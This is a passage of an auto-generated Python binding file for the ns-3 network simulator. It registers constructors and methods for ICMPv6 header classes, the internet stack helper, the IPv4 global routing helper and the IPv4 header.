## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::SetFlags(uint8_t flags) [member function]
cls.add_method('SetFlags',
'void',
[param('uint8_t', 'flags')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::SetPreferredTime(uint32_t preferredTime) [member function]
cls.add_method('SetPreferredTime',
'void',
[param('uint32_t', 'preferredTime')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::SetPrefix(ns3::Ipv6Address prefix) [member function]
cls.add_method('SetPrefix',
'void',
[param('ns3::Ipv6Address', 'prefix')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::SetPrefixLength(uint8_t prefixLength) [member function]
cls.add_method('SetPrefixLength',
'void',
[param('uint8_t', 'prefixLength')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::SetReserved(uint32_t reserved) [member function]
cls.add_method('SetReserved',
'void',
[param('uint32_t', 'reserved')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionPrefixInformation::SetValidTime(uint32_t validTime) [member function]
cls.add_method('SetValidTime',
'void',
[param('uint32_t', 'validTime')])
return
def register_Ns3Icmpv6OptionRedirected_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionRedirected::Icmpv6OptionRedirected(ns3::Icmpv6OptionRedirected const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6OptionRedirected const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionRedirected::Icmpv6OptionRedirected() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionRedirected::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6OptionRedirected::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6OptionRedirected::GetPacket() const [member function]
cls.add_method('GetPacket',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6OptionRedirected::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6OptionRedirected::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionRedirected::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionRedirected::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6OptionRedirected::SetPacket(ns3::Ptr<ns3::Packet> packet) [member function]
cls.add_method('SetPacket',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet')])
return
def register_Ns3Icmpv6ParameterError_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6ParameterError::Icmpv6ParameterError(ns3::Icmpv6ParameterError const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6ParameterError const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6ParameterError::Icmpv6ParameterError() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6ParameterError::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6ParameterError::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6ParameterError::GetPacket() const [member function]
cls.add_method('GetPacket',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6ParameterError::GetPtr() const [member function]
cls.add_method('GetPtr',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6ParameterError::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6ParameterError::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6ParameterError::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6ParameterError::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6ParameterError::SetPacket(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('SetPacket',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6ParameterError::SetPtr(uint32_t ptr) [member function]
cls.add_method('SetPtr',
'void',
[param('uint32_t', 'ptr')])
return
def register_Ns3Icmpv6RA_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6RA::Icmpv6RA(ns3::Icmpv6RA const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6RA const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6RA::Icmpv6RA() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6RA::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6RA::GetCurHopLimit() const [member function]
cls.add_method('GetCurHopLimit',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): bool ns3::Icmpv6RA::GetFlagH() const [member function]
cls.add_method('GetFlagH',
'bool',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): bool ns3::Icmpv6RA::GetFlagM() const [member function]
cls.add_method('GetFlagM',
'bool',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): bool ns3::Icmpv6RA::GetFlagO() const [member function]
cls.add_method('GetFlagO',
'bool',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint8_t ns3::Icmpv6RA::GetFlags() const [member function]
cls.add_method('GetFlags',
'uint8_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6RA::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint16_t ns3::Icmpv6RA::GetLifeTime() const [member function]
cls.add_method('GetLifeTime',
'uint16_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6RA::GetReachableTime() const [member function]
cls.add_method('GetReachableTime',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6RA::GetRetransmissionTime() const [member function]
cls.add_method('GetRetransmissionTime',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6RA::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6RA::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetCurHopLimit(uint8_t m) [member function]
cls.add_method('SetCurHopLimit',
'void',
[param('uint8_t', 'm')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetFlagH(bool h) [member function]
cls.add_method('SetFlagH',
'void',
[param('bool', 'h')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetFlagM(bool m) [member function]
cls.add_method('SetFlagM',
'void',
[param('bool', 'm')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetFlagO(bool o) [member function]
cls.add_method('SetFlagO',
'void',
[param('bool', 'o')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetFlags(uint8_t f) [member function]
cls.add_method('SetFlags',
'void',
[param('uint8_t', 'f')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetLifeTime(uint16_t l) [member function]
cls.add_method('SetLifeTime',
'void',
[param('uint16_t', 'l')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetReachableTime(uint32_t r) [member function]
cls.add_method('SetReachableTime',
'void',
[param('uint32_t', 'r')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RA::SetRetransmissionTime(uint32_t r) [member function]
cls.add_method('SetRetransmissionTime',
'void',
[param('uint32_t', 'r')])
return
def register_Ns3Icmpv6RS_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6RS::Icmpv6RS(ns3::Icmpv6RS const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6RS const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6RS::Icmpv6RS() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6RS::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6RS::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6RS::GetReserved() const [member function]
cls.add_method('GetReserved',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6RS::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6RS::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RS::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RS::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6RS::SetReserved(uint32_t reserved) [member function]
cls.add_method('SetReserved',
'void',
[param('uint32_t', 'reserved')])
return
def register_Ns3Icmpv6Redirection_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Redirection::Icmpv6Redirection(ns3::Icmpv6Redirection const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6Redirection const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Redirection::Icmpv6Redirection() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6Redirection::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Icmpv6Redirection::GetDestination() const [member function]
cls.add_method('GetDestination',
'ns3::Ipv6Address',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6Redirection::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6Redirection::GetReserved() const [member function]
cls.add_method('GetReserved',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6Redirection::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ipv6Address ns3::Icmpv6Redirection::GetTarget() const [member function]
cls.add_method('GetTarget',
'ns3::Ipv6Address',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6Redirection::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Redirection::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Redirection::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Redirection::SetDestination(ns3::Ipv6Address destination) [member function]
cls.add_method('SetDestination',
'void',
[param('ns3::Ipv6Address', 'destination')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Redirection::SetReserved(uint32_t reserved) [member function]
cls.add_method('SetReserved',
'void',
[param('uint32_t', 'reserved')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6Redirection::SetTarget(ns3::Ipv6Address target) [member function]
cls.add_method('SetTarget',
'void',
[param('ns3::Ipv6Address', 'target')])
return
def register_Ns3Icmpv6TimeExceeded_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6TimeExceeded::Icmpv6TimeExceeded(ns3::Icmpv6TimeExceeded const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6TimeExceeded const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6TimeExceeded::Icmpv6TimeExceeded() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6TimeExceeded::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6TimeExceeded::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6TimeExceeded::GetPacket() const [member function]
cls.add_method('GetPacket',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6TimeExceeded::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6TimeExceeded::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6TimeExceeded::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6TimeExceeded::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6TimeExceeded::SetPacket(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('SetPacket',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p')])
return
def register_Ns3Icmpv6TooBig_methods(root_module, cls):
## icmpv6-header.h (module 'internet'): ns3::Icmpv6TooBig::Icmpv6TooBig(ns3::Icmpv6TooBig const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Icmpv6TooBig const &', 'arg0')])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6TooBig::Icmpv6TooBig() [constructor]
cls.add_constructor([])
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6TooBig::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## icmpv6-header.h (module 'internet'): ns3::TypeId ns3::Icmpv6TooBig::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6TooBig::GetMtu() const [member function]
cls.add_method('GetMtu',
'uint32_t',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Icmpv6TooBig::GetPacket() const [member function]
cls.add_method('GetPacket',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## icmpv6-header.h (module 'internet'): uint32_t ns3::Icmpv6TooBig::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): static ns3::TypeId ns3::Icmpv6TooBig::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6TooBig::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6TooBig::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6TooBig::SetMtu(uint32_t mtu) [member function]
cls.add_method('SetMtu',
'void',
[param('uint32_t', 'mtu')])
## icmpv6-header.h (module 'internet'): void ns3::Icmpv6TooBig::SetPacket(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('SetPacket',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p')])
return
def register_Ns3IntEmpiricalVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::IntEmpiricalVariable::IntEmpiricalVariable(ns3::IntEmpiricalVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntEmpiricalVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::IntEmpiricalVariable::IntEmpiricalVariable() [constructor]
cls.add_constructor([])
return
def register_Ns3InternetStackHelper_methods(root_module, cls):
## internet-stack-helper.h (module 'internet'): ns3::InternetStackHelper::InternetStackHelper() [constructor]
cls.add_constructor([])
## internet-stack-helper.h (module 'internet'): ns3::InternetStackHelper::InternetStackHelper(ns3::InternetStackHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::InternetStackHelper const &', 'arg0')])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::Install(std::string nodeName) const [member function]
cls.add_method('Install',
'void',
[param('std::string', 'nodeName')],
is_const=True)
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::Install(ns3::NodeContainer c) const [member function]
cls.add_method('Install',
'void',
[param('ns3::NodeContainer', 'c')],
is_const=True)
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::InstallAll() const [member function]
cls.add_method('InstallAll',
'void',
[],
is_const=True)
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::Reset() [member function]
cls.add_method('Reset',
'void',
[])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::SetIpv4StackInstall(bool enable) [member function]
cls.add_method('SetIpv4StackInstall',
'void',
[param('bool', 'enable')])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::SetIpv6StackInstall(bool enable) [member function]
cls.add_method('SetIpv6StackInstall',
'void',
[param('bool', 'enable')])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::SetRoutingHelper(ns3::Ipv4RoutingHelper const & routing) [member function]
cls.add_method('SetRoutingHelper',
'void',
[param('ns3::Ipv4RoutingHelper const &', 'routing')])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::SetRoutingHelper(ns3::Ipv6RoutingHelper const & routing) [member function]
cls.add_method('SetRoutingHelper',
'void',
[param('ns3::Ipv6RoutingHelper const &', 'routing')])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::SetTcp(std::string tid) [member function]
cls.add_method('SetTcp',
'void',
[param('std::string', 'tid')])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::SetTcp(std::string tid, std::string attr, ns3::AttributeValue const & val) [member function]
cls.add_method('SetTcp',
'void',
[param('std::string', 'tid'), param('std::string', 'attr'), param('ns3::AttributeValue const &', 'val')])
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::EnableAsciiIpv4Internal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnableAsciiIpv4Internal',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
visibility='private', is_virtual=True)
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::EnableAsciiIpv6Internal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnableAsciiIpv6Internal',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
visibility='private', is_virtual=True)
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::EnablePcapIpv4Internal(std::string prefix, ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnablePcapIpv4Internal',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
visibility='private', is_virtual=True)
## internet-stack-helper.h (module 'internet'): void ns3::InternetStackHelper::EnablePcapIpv6Internal(std::string prefix, ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnablePcapIpv6Internal',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
visibility='private', is_virtual=True)
return
def register_Ns3Ipv4GlobalRoutingHelper_methods(root_module, cls):
## ipv4-global-routing-helper.h (module 'internet'): ns3::Ipv4GlobalRoutingHelper::Ipv4GlobalRoutingHelper() [constructor]
cls.add_constructor([])
## ipv4-global-routing-helper.h (module 'internet'): ns3::Ipv4GlobalRoutingHelper::Ipv4GlobalRoutingHelper(ns3::Ipv4GlobalRoutingHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4GlobalRoutingHelper const &', 'arg0')])
## ipv4-global-routing-helper.h (module 'internet'): ns3::Ipv4GlobalRoutingHelper * ns3::Ipv4GlobalRoutingHelper::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ipv4GlobalRoutingHelper *',
[],
is_const=True, is_virtual=True)
## ipv4-global-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4GlobalRoutingHelper::Create(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Ipv4RoutingProtocol >',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True, is_virtual=True)
## ipv4-global-routing-helper.h (module 'internet'): static void ns3::Ipv4GlobalRoutingHelper::PopulateRoutingTables() [member function]
cls.add_method('PopulateRoutingTables',
'void',
[],
is_static=True)
## ipv4-global-routing-helper.h (module 'internet'): static void ns3::Ipv4GlobalRoutingHelper::RecomputeRoutingTables() [member function]
cls.add_method('RecomputeRoutingTables',
'void',
[],
is_static=True)
return
def register_Ns3Ipv4Header_methods(root_module, cls):
## ipv4-header.h (module 'internet'): ns3::Ipv4Header::Ipv4Header(ns3::Ipv4Header const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4Header const &', 'arg0')])
## ipv4-header.h (module 'internet'): ns3::Ipv4Header::Ipv4Header() [constructor]
cls.add_constructor([])
## ipv4-header.h (module 'internet'): uint32_t ns3::Ipv4Header::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::EnableChecksum() [member function]
cls.add_method('EnableChecksum',
'void',
[])
## ipv4-header.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Header::GetDestination() const [member function]
cls.add_method('GetDestination',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-header.h (module 'internet'): uint16_t ns3::Ipv4Header::GetFragmentOffset() const [member function]
cls.add_method('GetFragmentOffset',
'uint16_t',
[],
is_const=True)
## ipv4-header.h (module 'internet'): uint16_t ns3::Ipv4Header::GetIdentification() const [member function]
cls.add_method('GetIdentification',
'uint16_t',
[],
is_const=True)
## ipv4-header.h (module 'internet'): ns3::TypeId ns3::Ipv4Header::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv4-header.h (module 'internet'): uint16_t ns3::Ipv4Header::GetPayloadSize() const [member function]
cls.add_method('GetPayloadSize',
'uint16_t',
[],
is_const=True)
## ipv4-header.h (module 'internet'): uint8_t ns3::Ipv4Header::GetProtocol() const [member function]
cls.add_method('GetProtocol',
'uint8_t',
[],
is_const=True)
## ipv4-header.h (module 'internet'): uint32_t ns3::Ipv4Header::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv4-header.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Header::GetSource() const [member function]
cls.add_method('GetSource',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-header.h (module 'internet'): uint8_t ns3::Ipv4Header::GetTos() const [member function]
cls.add_method('GetTos',
'uint8_t',
[],
is_const=True)
## ipv4-header.h (module 'internet'): uint8_t ns3::Ipv4Header::GetTtl() const [member function]
cls.add_method('GetTtl',
'uint8_t',
[],
is_const=True)
## ipv4-header.h (module 'internet'): static ns3::TypeId ns3::Ipv4Header::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-header.h (module 'internet'): bool ns3::Ipv4Header::IsChecksumOk() const [member function]
cls.add_method('IsChecksumOk',
'bool',
[],
is_const=True)
## ipv4-header.h (module 'internet'): bool ns3::Ipv4Header::IsDontFragment() const [member function]
cls.add_method('IsDontFragment',
'bool',
[],
is_const=True)
## ipv4-header.h (module 'internet'): bool ns3::Ipv4Header::IsLastFragment() const [member function]
cls.add_method('IsLastFragment',
'bool',
[],
is_const=True)
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetDestination(ns3::Ipv4Address destination) [member function]
cls.add_method('SetDestination',
'void',
[param('ns3::Ipv4Address', 'destination')])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetDontFragment() [member function]
cls.add_method('SetDontFragment',
'void',
[])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetFragmentOffset(uint16_t offsetBytes) [member function]
cls.add_method('SetFragmentOffset',
'void',
[param('uint16_t', 'offsetBytes')])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetIdentification(uint16_t identification) [member function]
cls.add_method('SetIdentification',
'void',
[param('uint16_t', 'identification')])
## ipv4-header.h (module 'internet'): void ns3::Ipv4Header::SetLastFragment() [member function]
